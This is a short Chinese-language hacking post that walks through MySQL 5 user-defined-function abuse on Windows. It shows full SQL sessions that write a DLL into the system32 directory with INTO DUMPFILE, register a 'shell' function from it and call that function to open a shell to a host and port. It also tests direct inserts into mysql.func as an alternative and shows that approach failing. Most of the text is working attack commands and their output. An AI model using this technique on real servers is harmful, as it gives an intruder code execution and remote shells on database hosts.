udf's hacking in mysql5
[本文是基于win系统,unix系统没测试]
在mysql5里使用udf必须解决2个问题: 1、udf的格式要求更加严谨,按照以前的版本写的udf不可以使用。 2、udf文件必须放在系统目录下。
解决办法: 问题1:官方udf资料:http://dev.mysql.com/doc/refman/5.0/en/adding-udf.html udf例子:http://leithal.cool-tools.co.uk/sou...8cc-source.html 在云舒写的那个udfshell,是可以用在mysql5的http://www.icylife.net/yunshu/show.php?id=244
问题2:可以使用into dumpfile把dll文件放到system32目录下来突破:
mysql> use mysql; Database changed mysql> create table heige(line blob); Query OK, 0 rows affected (0.50 sec)
mysql> insert into heige values(load_file('c:/udf.dll')); Query OK, 1 row affected (0.08 sec)
mysql> select * from foo into dumpfile 'c:/winnt/system32/heige.dll'; Query OK, 1 row affected (0.18 sec)
mysql> create function shell returns integer soname 'heige.dll'; Query OK, 0 rows affected (0.07 sec)
mysql> select * from mysql.func; +-------+-----+-----------+----------+ | name | ret | dl | type | +-------+-----+-----------+----------+ | shell | 2 | heige.dll | function | +-------+-----+-----------+----------+ 1 row in set (0.00 sec)
mysql> select shell('127.0.0.1','1234'); +---------------------------+ | shell('127.0.0.1','1234') | +---------------------------+ | NULL | +---------------------------+ 1 row in set (0.97 sec)
成功突破了,当然你可以使用先把dll转为hex的方法[http://www.ph4nt0m.org/bbs/showthre...&threadid=34013 只要把里面的hex替换,如果把dll导出的目录改为system32 当然里面的function函数名相应改]
有人提出使用INSERT INTO直接对mysql.func插入数据,修改dl里的dll的路径来突破。 我们测试下:
mysql> drop function shell; <--drop function Query OK, 0 rows affected (0.00 sec)
C:\WINNT\system32>del heige.dll <--删除heige.dll
mysql> drop table func; <--drop表func Query OK, 0 rows affected (0.00 sec)
mysql> CREATE TABLE `func` ( -> `name` char(64) collate utf8_bin NOT NULL default '', -> `ret` tinyint(1) NOT NULL default '0', -> `dl` char(128) collate utf8_bin NOT NULL default '', -> `type` enum('function','aggregate') character set utf8 NOT NULL, -> PRIMARY KEY (`name`) -> ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_bin COMMENT='User defin ed functions'; Query OK, 0 rows affected (0.06 sec) <--创建表func
mysql> INSERT INTO `func` VALUES ('shell', 2, 'c:/udf.dll', 'function'); Query OK, 1 row affected (0.00 sec)
mysql> select * from func; +-------+-----+------------+----------+ | name | ret | dl | type | +-------+-----+------------+----------+ | shell | 2 | c:/udf.dll | function | +-------+-----+------------+----------+ 1 row in set (0.00 sec)
mysql> select shell('127.0.0.1','1234'); ERROR 1305 (42000): FUNCTION mysql.shell does not exist
然后我们把c:/udf.dll 放到system32目录下,你也会发现insert into的方法是行不通的. |